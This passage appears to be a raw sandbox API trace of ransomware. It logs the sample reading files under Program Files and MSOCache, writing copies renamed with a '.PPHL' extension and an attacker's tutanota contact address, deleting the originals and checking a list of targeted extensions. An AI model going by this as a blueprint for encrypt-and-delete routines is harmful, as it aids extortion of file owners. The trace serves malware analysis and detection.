lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.526] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.527] SetEndOfFile (hFile=0x20c) returned 1 [0079.527] CloseHandle (hObject=0x20c) returned 1 [0079.527] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.527] SetEndOfFile (hFile=0x200) returned 1 [0079.528] CloseHandle (hObject=0x200) returned 1 [0079.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0079.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.528] lstrlenW (lpString=".doc") returned 4 [0079.528] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.528] lstrlenW (lpString=".docx") returned 5 [0079.528] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.528] lstrlenW (lpString=".pdf") returned 4 [0079.528] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.528] lstrlenW (lpString=".xls") returned 4 [0079.528] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.528] lstrlenW (lpString=".xlsx") returned 5 [0079.528] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.529] lstrlenW (lpString=".ppt") returned 4 [0079.529] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString=".zip") returned 4 [0079.529] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString=".rar") returned 4 [0079.529] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString=".bz2") returned 4 [0079.529] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.529] lstrlenW (lpString=".7z") returned 3 [0079.529] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString=".dbf") returned 4 [0079.529] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString=".1cd") returned 4 [0079.529] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString=".jpg") returned 4 [0079.529] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.529] lstrlenW (lpString=".doc") returned 4 [0079.529] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.529] lstrlenW (lpString=".docx") returned 5 [0079.529] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.529] lstrlenW (lpString=".pdf") returned 4 [0079.529] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString=".xls") returned 4 [0079.529] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString=".xlsx") returned 5 [0079.529] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.529] lstrlenW (lpString=".ppt") returned 4 [0079.529] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.530] lstrlenW (lpString=".zip") returned 4 [0079.530] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.530] lstrlenW (lpString=".rar") returned 4 [0079.530] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.530] lstrlenW (lpString=".bz2") returned 4 [0079.530] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.530] lstrlenW (lpString=".7z") returned 3 [0079.530] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.530] lstrlenW (lpString=".dbf") returned 4 [0079.530] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.530] lstrlenW (lpString=".1cd") returned 4 [0079.530] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0079.530] lstrlenW (lpString=".jpg") returned 4 [0079.530] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.530] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0079.530] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.531] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=31975) returned 1 [0079.531] CloseHandle (hObject=0x200) returned 1 [0079.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0079.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.531] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.531] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.532] GetLastError () returned 0x0 [0079.532] ReadFile (in: hFile=0x200, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0079.535] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0079.536] ReadFile (in: hFile=0x200, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.536] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.536] SetEndOfFile (hFile=0x20c) returned 1 [0079.536] CloseHandle (hObject=0x20c) returned 1 [0079.537] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.537] SetEndOfFile (hFile=0x200) returned 1 [0079.538] CloseHandle (hObject=0x200) returned 1 [0079.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.538] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0079.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.538] lstrlenW (lpString=".doc") returned 4 [0079.538] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.538] lstrlenW (lpString=".docx") returned 5 [0079.538] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.538] lstrlenW (lpString=".pdf") returned 4 [0079.538] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.538] lstrlenW (lpString=".xls") returned 4 [0079.538] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.538] lstrlenW (lpString=".xlsx") returned 5 [0079.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.539] lstrlenW (lpString=".ppt") returned 4 [0079.539] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString=".zip") returned 4 [0079.539] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.539] lstrlenW (lpString=".rar") returned 4 [0079.539] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.539] lstrlenW (lpString=".bz2") returned 4 [0079.539] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString=".7z") returned 3 [0079.539] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString=".dbf") returned 4 [0079.539] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString=".1cd") returned 4 [0079.539] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString=".jpg") returned 4 [0079.539] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.539] lstrlenW (lpString=".doc") returned 4 [0079.539] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString=".docx") returned 5 [0079.539] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.539] lstrlenW (lpString=".pdf") returned 4 [0079.539] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.539] lstrlenW (lpString=".xls") returned 4 [0079.539] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.539] lstrlenW (lpString=".xlsx") returned 5 [0079.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.539] lstrlenW (lpString=".ppt") returned 4 [0079.539] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.540] lstrlenW (lpString=".zip") returned 4 [0079.540] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.540] lstrlenW (lpString=".rar") returned 4 [0079.540] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.540] lstrlenW (lpString=".bz2") returned 4 [0079.540] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.540] lstrlenW (lpString=".7z") returned 3 [0079.540] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.540] lstrlenW (lpString=".dbf") returned 4 [0079.540] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.540] lstrlenW (lpString=".1cd") returned 4 [0079.540] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0079.540] lstrlenW (lpString=".jpg") returned 4 [0079.540] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.540] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0079.540] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.541] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=4100) returned 1 [0079.541] CloseHandle (hObject=0x200) returned 1 [0079.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0079.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x5d8 [0057.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6b08c0 [0057.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x3770048 [0057.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670178 [0057.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x6240f8 [0057.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670190 [0057.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3870020 [0057.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6701a8 [0057.639] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6701a8, Size=0x20) returned 0x626730 [0057.639] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6701a8 [0057.639] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6701a8, Size=0x20) returned 0x626708 [0057.639] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.640] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.640] Wow64DisableWow64FsRedirection (in: OldValue=0x2dfff58 | out: OldValue=0x2dfff58*=0x0) returned 1 [0057.640] lstrlenW (lpString="kernel32.dll") returned 12 [0057.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626730 | out: hHeap=0x5d0000) returned 1 [0057.640] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626708 | out: hHeap=0x5d0000) returned 1 [0057.640] Sleep (dwMilliseconds=0x64) [0057.800] Sleep (dwMilliseconds=0x64) [0057.952] Sleep (dwMilliseconds=0x64) [0058.633] Sleep (dwMilliseconds=0x64) [0059.862] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.862] lstrlenW (lpString="Setup.xml") returned 9 [0059.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.737] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=2296) returned 1 [0060.737] CloseHandle (hObject=0x1ac) returned 1 [0060.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0060.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.737] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.737] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.737] GetLastError () returned 0x0 [0060.737] ReadFile (in: hFile=0x1ac, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x8f8, lpOverlapped=0x0) returned 1 [0060.752] WriteFile (in: hFile=0x194, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x900, lpOverlapped=0x0) returned 1 [0060.752] ReadFile (in: hFile=0x1ac, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.753] WriteFile (in: hFile=0x194, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.753] SetEndOfFile (hFile=0x194) returned 1 [0060.753] CloseHandle (hObject=0x194) returned 1 [0060.756] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.756] SetEndOfFile (hFile=0x1ac) returned 1 [0060.756] CloseHandle (hObject=0x1ac) returned 1 [0060.756] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.757] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.757] lstrlenW (lpString=".doc") returned 4 [0060.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.757] lstrlenW (lpString=".docx") returned 5 [0060.757] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.757] lstrlenW (lpString=".pdf") returned 4 [0060.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.757] lstrlenW (lpString=".xls") returned 4 [0060.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.757] lstrlenW (lpString=".xlsx") returned 5 [0060.757] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.757] lstrlenW (lpString=".ppt") returned 4 [0060.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.757] lstrlenW (lpString=".zip") returned 4 [0060.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.757] lstrlenW (lpString=".rar") returned 4 [0060.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.757] lstrlenW (lpString=".bz2") returned 4 [0060.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".7z") returned 3 [0060.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString=".dbf") returned 4 [0060.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString=".1cd") returned 4 [0060.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString=".jpg") returned 4 [0060.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.758] lstrlenW (lpString=".doc") returned 4 [0060.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".docx") returned 5 [0060.758] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.758] lstrlenW (lpString=".pdf") returned 4 [0060.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".xls") returned 4 [0060.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.758] lstrlenW (lpString=".xlsx") returned 5 [0060.758] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.758] lstrlenW 